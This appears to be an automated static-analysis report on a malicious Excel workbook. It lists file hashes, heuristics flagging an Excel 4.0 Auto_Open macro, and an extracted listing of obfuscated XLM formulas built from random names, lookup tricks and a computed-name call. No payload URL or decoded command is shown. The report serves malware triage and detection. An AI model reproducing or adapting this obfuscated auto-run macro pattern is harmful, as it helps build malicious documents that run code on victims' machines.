Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1c70763ced217518…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:05 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 1a944f3ecd69c0111a22d1bf0cab9cd3 SHA-1: ca15d85635c2e3371269bf5875f8f89b9a6fd0fc SHA-256: 1c70763ced217518bff6949e988e3ec592db1830b05dd9b73570978c4e2f22a5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6761 bytes
SHA-256: d49a55acd76d18f3c09bee76bd6bc2223c584e3a52752dfe68957be5a79334b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  sFelLA
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A152 
' 0018     20 LABEL : Cell Value, String Constant - bvtOu len=0 
' 0018     24 LABEL : Cell Value, String Constant - CjhqvtsIf len=0 
' 0018     24 LABEL : Cell Value, String Constant - CohHFkdAC len=0 
' 0018     27 LABEL : Cell Value, String Constant - DCZOINpGWhjY len=0 
' 0018     23 LABEL : Cell Value, String Constant - fBdynUBV len=0 
' 0018     22 LABEL : Cell Value, String Constant - fGkScMb len=0 
' 0018     24 LABEL : Cell Value, String Constant - gCNNpCGMe len=0 
' 0018     27 LABEL : Cell Value, String Constant - hjbfvUrhNgvd len=0 
' 0018     21 LABEL : Cell Value, String Constant - IFawhX len=0 
' 0018     21 LABEL : Cell Value, String Constant - lSkQAN len=0 
' 0018     21 LABEL : Cell Value, String Constant - MJuYjA len=0 
' 0018     27 LABEL : Cell Value, String Constant - NYAEGgYSeBPC len=0 
' 0018     27 LABEL : Cell Value, String Constant - oMlFRzOomLoO len=0 
' 0018     27 LABEL : Cell Value, String Constant - ppuwzRapKgKA len=0 
' 0018     23 LABEL : Cell Value, String Constant - uTLpNakg len=0 
' 0018     22 LABEL : Cell Value, String Constant - uxEkjYT len=0 
' 0018     26 LABEL : Cell Value, String Constant - UZgGLTYmQcK len=0 
' 0018     26 LABEL : Cell Value, String Constant - VHAVVASdlOF len=0 
' 0018     27 LABEL : Cell Value, String Constant - vwBpAhpZVWDX len=0 
' 0018     24 LABEL : Cell Value, String Constant - yvyuRePhk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  sFelLA,A60,"SET.NAME("IFawhX",0+VALUE("0"))",""
'  sFelLA,A63,"SET.NAME("NYAEGgYSeBPC",IFawhX)",""
'  sFelLA,A67,"SET.NAME("gCNNpCGMe",IFawhX)",""
'  sFelLA,A69,"SET.NAME("yvyuRePhk",COUNTA(hjbfvUrhNgvd))",""
'  sFelLA,A71,"SET.NAME("VHAVVASdlOF",COUNTA(CohHFkdAC))",""
'  sFelLA,A76,[],""
'  sFelLA,A80,"SET.NAME("fGkScMb","")",""
'  sFelLA,S80,"",833.00000000000000000000
'  sFelLA,S81,"",981.00000000000000000000
'  sFelLA,S82,"",-687.00000000000000000000
'  sFelLA,A83,"NYAEGgYSeBPC",""
'  sFelLA,S83,"",-890.00000000000000000000
'  sFelLA,S84,"",-315.00000000000000000000
'  sFelLA,S85,"",993.00000000000000000000
'  sFelLA,A88,"SET.NAME("uxEkjYT",HLOOKUP("*",hjbfvUrhNgvd,NYAEGgYSeBPC,FALSE))",""
'  sFelLA,A93,"MJuYjA",""
'  sFelLA,A98,"SET.NAME("fBdynUBV",IFawhX)",""
'  sFelLA,A101,[],""
'  sFelLA,A103,"fBdynUBV",""
'  sFelLA,A106,"lSkQAN",""
'  sFelLA,A108,"DCZOINpGWhjY",""
'  sFelLA,A111,"bvtOu",""
'  sFelLA,A116,"SET.NAME("ppuwzRapKgKA",VALUE(HLOOKUP("*",CohHFkdAC,bvtOu,FALSE)))",""
'  sFelLA,A120,"CjhqvtsIf",""
'  sFelLA,A122,"fGkScMb",""
'  sFelLA,A125,"gCNNpCGMe",""
'  sFelLA,A130,NEXT(),""
'  sFelLA,A134,"vwBpAhpZVWDX",""
'  sFelLA,A138,[],""
'  sFelLA,A142,"oMlFRzOomLoO",""
'  sFelLA,A144,NEXT(),""
'  sFelLA,A147,RETURN(),""
'  sFelLA,A180,"SET.NAME("UZgGLTYmQcK",A60)",""
'  sFelLA,A182,"hjbfvUrhNgvd",""
'  sFelLA,A184,"SET.NAME("CohHFkdAC",R75C14)",""
'  sFelLA,A187,"SET.NAME("oMlFRzOomLoO",196)",""
'  sFelLA,A190,"SET.NAME("uTLpNakg",1)",""
'  sFelLA,A195,UZgGLTYmQcK(),""
'  sFelLA,A196,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.